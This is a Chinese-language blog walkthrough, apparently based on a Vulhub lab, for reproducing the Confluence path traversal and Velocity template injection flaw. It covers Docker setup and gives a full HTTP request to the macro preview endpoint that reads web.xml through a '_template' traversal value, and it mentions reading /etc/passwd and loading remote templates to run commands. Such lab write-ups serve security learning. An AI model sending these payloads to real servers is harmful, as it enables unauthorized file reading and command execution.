Atlassian Confluence 路径穿越与命令执行漏洞(CVE--3396)
Vulnhub官方复现教程漏洞原理 复现漏洞启动环境 漏洞复现Vulnhub官方复现教程
/#/environments/confluence/CVE--3396/
漏洞原理
Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。
参考资料:
/884//browse/CONFSERVER-57974
复现漏洞
启动环境
/JiangBuLiu/article/details/93853056
进入路径为
cd /root/vulhub/confluence/CVE--3396
搭建及运行漏洞环境:
docker-compose build && docker-compose up -d
环境搭建时间,略久- -建议站起来旋转跳跃一会:)
环境启动后,访问http://your-ip:8090
会进入安装引导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书(不要选择Data Center和Addons):
[外链图片转存失败(img-FF9I0fFU-1562319422385)(/vulhub/confluence/CVE--3396/1.png)]
(由于我没有梯子(6月几乎大家的都失效了)不能用谷歌邮箱了,懒得注册,所以这个就不复现了)
然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。
如果提示填写cluster node,路径填写/home/confluence
即可:
[外链图片转存失败(img-pXTOZ6HZ-1562319422386)(/vulhub/confluence/CVE--3396/4.png)]
后续可能要求你填写数据库账号密码,选择postgres数据库,地址为db
,账号密码均为postgres
:
[外链图片转存失败(img-GzCNEbtd-1562319422386)(/vulhub/confluence/CVE--3396/5.png)]
漏洞复现
发送如下数据包,即可读取文件web.xml
:
POST /rest/tinymce/1/macro/preview HTTP/1.1Host: localhost:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeReferer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&Content-Type: application/json; charset=utf-8Content-Length: 176{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}
[外链图片转存失败(img-MAn4NxmT-1562319422386)(/vulhub/confluence/CVE--3396/6.png)]
6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd
来读取文件,也可以通过https://...
来加载远程文件。
该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令:
[外链图片转存失败(img-2TBi8xdy-1562319422387)(/vulhub/confluence/CVE--3396/7.png)]